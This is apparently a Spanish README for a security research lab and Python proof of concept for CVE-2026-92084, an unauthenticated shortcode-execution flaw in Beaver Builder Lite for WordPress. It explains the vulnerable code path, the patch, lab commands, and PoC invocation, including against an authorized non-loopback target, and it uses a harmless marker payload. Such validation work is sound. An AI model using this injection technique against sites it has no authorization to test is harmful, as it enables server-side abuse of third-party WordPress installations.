
Laboratorio de validación con Docker y PoC en Python para CVE-2026-92084, una vulnerabilidad de ejecución de shortcode sin autenticación en Beaver Builder Lite <= 2.11.0.5, con un control parcheado y una pantalla de nuclei.
Material de investigación de seguridad para reproducir y validar CVE-2026-92084:
Beaver Builder (Lite) <= 2.11.0.5 ejecuta shortcodes arbitrarios registrados de WordPress
insertados en la salida de widgets renderizada por el módulo Sidebar, mediante la
pasada do_shortcode() a nivel de diseño del builder.
'renders_shortcodes' => false;
la maquinaria de codificación de corchetes en sí se distribuyó antes y no ha cambiado)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94Úsese solo en sistemas de su propiedad o para los que tenga autorización explícita de prueba. El PoC publica un comentario cuyo nombre de autor contiene un shortcode marcador registrado en el laboratorio. No se utiliza ningún shortcode destructivo y no se escribe nada en disco.
Estado: demostrado en el laboratorio proporcionado.
Beaver Builder Lite 2.11.0.5 (WordPress 7.1.2, página del builder con un módulo Sidebar
comment posted : author name "[cve92084]" on the builder page
result : rendered page contains the marker shortcode's server-side
output "CVE92084-SHORTCODE-FIRED"
(executed by the layout-wide do_shortcode() pass)
2.11.0.6 : brackets entity-encoded, marker absent (patched negative
control; page shows the literal text [cve92084])
Esto demuestra la ejecución del lado del servidor de un shortcode registrado arbitrario con la salida incrustada en la página, revelada a cada visitante. No demuestra RCE; el impacto depende de qué shortcodes estén registrados en el objetivo (exposición de post/meta, formularios, shortcodes proporcionados por plugins con efectos secundarios).
El sink. FLBuilder::render_content() ejecuta el layout del builder ensamblado a través de una pasada amplia de shortcodes antes de imprimirlo:
// classes/class-fl-builder.php:2139, Beaver Builder Lite 2.11.0.5
$content = do_shortcode( $content );
El punto de inyección. El módulo Sidebar renderiza la salida de los widgets de una barra lateral de WordPress tal cual en ese diseño:
// modules/sidebar/includes/frontend.php:4, 2.11.0.5
if ( ! dynamic_sidebar( $settings->sidebar ) ) {
El contenido del widget son datos de usuario no confiables: el widget principal Recent Comments muestra get_comment_author_link(), es decir, cualquier nombre que haya proporcionado un comentarista (no autenticado). FLBuilder::double_escape_shortcodes() solo vuelve a poner entre corchetes la forma escapada [[x]], por lo que un [cve92084] sin formato pasa y la pasada de do_shortcode() lo ejecuta.
La corrección. 2.11.0.5 ya incluye el mecanismo de neutralización: FLBuilderModule::$renders_shortcodes = true (class-fl-builder-module.php:143) y FLBuilder::escape_foreign_module_shortcodes() enganchado a ambos filtros de renderizado de módulos (class-fl-builder.php:109-110, aplicado en 3240), que codifica como entidades los corchetes de cualquier shortcode registrado en la salida del módulo. El módulo Sidebar simplemente nunca se excluyó. El único cambio funcional en 2.11.0.6 es la exclusión:
// modules/sidebar/sidebar.php, 2.11.0.6
'renders_shortcodes' => false,
// dynamic_sidebar() renders third-party widget output that can contain
// untrusted user data (e.g. a comment author name via the core Recent
// Comments widget); do not run its shortcodes.
/wp-comments-post.php con el payload de shortcode como
nombre del autor del comentario.do_shortcode() ejecuta el
payload. Su salida reemplaza el nombre del autor, visible para todos los visitantes.Requisitos: Docker con Compose v2, Python 3.10+ en el host.
./lab verify
Construye el laboratorio 2.11.0.5, requiere que el marcador se active, luego construye el
laboratorio 2.11.0.6 y requiere su ausencia. Elimina todo con
./lab reset.
Control vulnerable:
[!!!] SHORTCODE EXECUTION CONFIRMED
posted : comment author '[cve92084]' on page 5
evidence: 'CVE92084-SHORTCODE-FIRED' present in the rendered builder page
context : ...<a href="https://github.com/hassham1/cve-2026-92084-beaver-builder-shortcode-poc/blob/main/..." class="url">CVE92084-SHORTCODE-FIRED</a>...
RESULT: VULNERABLE CONTROL CONFIRMED
Control parcheado:
[=] shortcode text present but NOT executed: brackets entity-encoded
(patched >= 2.11.0.6 behavior: escape_foreign_shortcodes).
RESULT: PATCHED CONTROL CONFIRMED
Un marcador en la página solo dentro del comentario mostrado (texto sin procesar) no se acepta como prueba; el marcador debe aparecer como la salida ejecutada del shortcode.
./lab start vulnerable # 2.11.0.5 lab on http://127.0.0.1:9488
./lab test # assert marker fires
./lab start patched # 2.11.0.6 lab
./lab test # assert absence
./lab status
./lab reset
Ejecute el PoC manualmente (loopback por defecto; los objetivos externos autorizados requieren la anulación explícita):
python3 poc/poc_cve_2026_92084.py --url http://127.0.0.1:9488 --post-id 5
python3 poc/poc_cve_2026_92084.py --url https://target.example \
--post-id 5 --allow-authorized-non-loopback [--insecure]
La plantilla de nuclei (nuclei/cve-2026-92084.yaml) es solo un cribado de versión
(etiqueta estable de readme.txt <= 2.11.0.5). La cadena de comportamiento requiere el envío
de un comentario más una transición de aprobación, lo cual no es práctico de expresar en
nuclei; el PoC en Python realiza el flujo completo.
| Versión | Evaluación |
|---|---|
| Beaver Builder Lite 2.11.0.5 | Ejecución de shortcode reproducida de extremo a extremo |
| Beaver Builder Lite 2.11.0.6 | Control negativo parcheado reproducido |
| Beaver Builder Lite <= 2.11.0.4 | Afectada según el aviso; no probada individualmente |
| Beaver Builder (Pro/Agency) | No probada - el alcance del aviso es el plugin Lite |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-92084.yaml
├── poc/
│ └── poc_cve_2026_92084.py
└── provision/
└── install.php
Sin confirmar: assets/ (zips de plugins), .lab-state, __pycache__/.